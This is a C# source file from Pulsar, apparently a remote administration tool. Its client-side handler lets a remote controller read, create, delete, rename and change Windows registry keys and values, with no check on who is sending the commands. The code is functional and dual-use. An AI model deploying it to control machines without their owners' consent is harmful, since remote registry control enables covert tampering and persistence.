Files
i2p 773d05f8f1
Pulsar .NET 9.0 Windows Release / build (push) Waiting to run
Mirror to Codeberg and Gitea / mirror (push) Waiting to run
initial commit
2026-08-27 10:57:58 -06:00

231 lines
8.5 KiB
C#

using Pulsar.Client.Extensions;
using Pulsar.Client.Helper;
using Pulsar.Client.Registry;
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Administration.RegistryEditor;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Models;
using Pulsar.Common.Networking;
using System;
namespace Pulsar.Client.Messages
{
public class RegistryHandler : IMessageProcessor
{
public bool CanExecute(IMessage message) => message is DoLoadRegistryKey ||
message is DoCreateRegistryKey ||
message is DoDeleteRegistryKey ||
message is DoRenameRegistryKey ||
message is DoCreateRegistryValue ||
message is DoDeleteRegistryValue ||
message is DoRenameRegistryValue ||
message is DoChangeRegistryValue;
public bool CanExecuteFrom(ISender sender) => true;
public void Execute(ISender sender, IMessage message)
{
switch (message)
{
case DoLoadRegistryKey msg:
Execute(sender, msg);
break;
case DoCreateRegistryKey msg:
Execute(sender, msg);
break;
case DoDeleteRegistryKey msg:
Execute(sender, msg);
break;
case DoRenameRegistryKey msg:
Execute(sender, msg);
break;
case DoCreateRegistryValue msg:
Execute(sender, msg);
break;
case DoDeleteRegistryValue msg:
Execute(sender, msg);
break;
case DoRenameRegistryValue msg:
Execute(sender, msg);
break;
case DoChangeRegistryValue msg:
Execute(sender, msg);
break;
}
}
private void Execute(ISender client, DoLoadRegistryKey message)
{
GetRegistryKeysResponse responsePacket = new GetRegistryKeysResponse();
try
{
RegistrySeeker seeker = new RegistrySeeker();
seeker.BeginSeeking(message.RootKeyName);
responsePacket.Matches = seeker.Matches;
responsePacket.IsError = false;
}
catch (Exception e)
{
responsePacket.IsError = true;
responsePacket.ErrorMsg = e.Message;
}
responsePacket.RootKey = message.RootKeyName;
client.Send(responsePacket);
}
private void Execute(ISender client, DoCreateRegistryKey message)
{
GetCreateRegistryKeyResponse responsePacket = new GetCreateRegistryKeyResponse();
string errorMsg;
string newKeyName = "";
try
{
responsePacket.IsError = !(RegistryEditor.CreateRegistryKey(message.ParentPath, out newKeyName, out errorMsg));
}
catch (Exception ex)
{
responsePacket.IsError = true;
errorMsg = ex.Message;
}
responsePacket.ErrorMsg = errorMsg;
responsePacket.Match = new RegSeekerMatch
{
Key = newKeyName,
Data = RegistryKeyHelper.GetDefaultValues(),
HasSubKeys = false
};
responsePacket.ParentPath = message.ParentPath;
client.Send(responsePacket);
}
private void Execute(ISender client, DoDeleteRegistryKey message)
{
GetDeleteRegistryKeyResponse responsePacket = new GetDeleteRegistryKeyResponse();
string errorMsg;
try
{
responsePacket.IsError = !(RegistryEditor.DeleteRegistryKey(message.KeyName, message.ParentPath, out errorMsg));
}
catch (Exception ex)
{
responsePacket.IsError = true;
errorMsg = ex.Message;
}
responsePacket.ErrorMsg = errorMsg;
responsePacket.ParentPath = message.ParentPath;
responsePacket.KeyName = message.KeyName;
client.Send(responsePacket);
}
private void Execute(ISender client, DoRenameRegistryKey message)
{
GetRenameRegistryKeyResponse responsePacket = new GetRenameRegistryKeyResponse();
string errorMsg;
try
{
responsePacket.IsError = !(RegistryEditor.RenameRegistryKey(message.OldKeyName, message.NewKeyName, message.ParentPath, out errorMsg));
}
catch (Exception ex)
{
responsePacket.IsError = true;
errorMsg = ex.Message;
}
responsePacket.ErrorMsg = errorMsg;
responsePacket.ParentPath = message.ParentPath;
responsePacket.OldKeyName = message.OldKeyName;
responsePacket.NewKeyName = message.NewKeyName;
client.Send(responsePacket);
}
private void Execute(ISender client, DoCreateRegistryValue message)
{
GetCreateRegistryValueResponse responsePacket = new GetCreateRegistryValueResponse();
string errorMsg;
string newKeyName = "";
try
{
responsePacket.IsError = !(RegistryEditor.CreateRegistryValue(message.KeyPath, message.Kind, out newKeyName, out errorMsg));
}
catch (Exception ex)
{
responsePacket.IsError = true;
errorMsg = ex.Message;
}
responsePacket.ErrorMsg = errorMsg;
responsePacket.Value = RegistryKeyHelper.CreateRegValueData(newKeyName, message.Kind, message.Kind.GetDefault());
responsePacket.KeyPath = message.KeyPath;
client.Send(responsePacket);
}
private void Execute(ISender client, DoDeleteRegistryValue message)
{
GetDeleteRegistryValueResponse responsePacket = new GetDeleteRegistryValueResponse();
string errorMsg;
try
{
responsePacket.IsError = !(RegistryEditor.DeleteRegistryValue(message.KeyPath, message.ValueName, out errorMsg));
}
catch (Exception ex)
{
responsePacket.IsError = true;
errorMsg = ex.Message;
}
responsePacket.ErrorMsg = errorMsg;
responsePacket.ValueName = message.ValueName;
responsePacket.KeyPath = message.KeyPath;
client.Send(responsePacket);
}
private void Execute(ISender client, DoRenameRegistryValue message)
{
GetRenameRegistryValueResponse responsePacket = new GetRenameRegistryValueResponse();
string errorMsg;
try
{
responsePacket.IsError = !(RegistryEditor.RenameRegistryValue(message.OldValueName, message.NewValueName, message.KeyPath, out errorMsg));
}
catch (Exception ex)
{
responsePacket.IsError = true;
errorMsg = ex.Message;
}
responsePacket.ErrorMsg = errorMsg;
responsePacket.KeyPath = message.KeyPath;
responsePacket.OldValueName = message.OldValueName;
responsePacket.NewValueName = message.NewValueName;
client.Send(responsePacket);
}
private void Execute(ISender client, DoChangeRegistryValue message)
{
GetChangeRegistryValueResponse responsePacket = new GetChangeRegistryValueResponse();
string errorMsg;
try
{
responsePacket.IsError = !(RegistryEditor.ChangeRegistryValue(message.Value, message.KeyPath, out errorMsg));
}
catch (Exception ex)
{
responsePacket.IsError = true;
errorMsg = ex.Message;
}
responsePacket.ErrorMsg = errorMsg;
responsePacket.KeyPath = message.KeyPath;
responsePacket.Value = message.Value;
client.Send(responsePacket);
}
}
}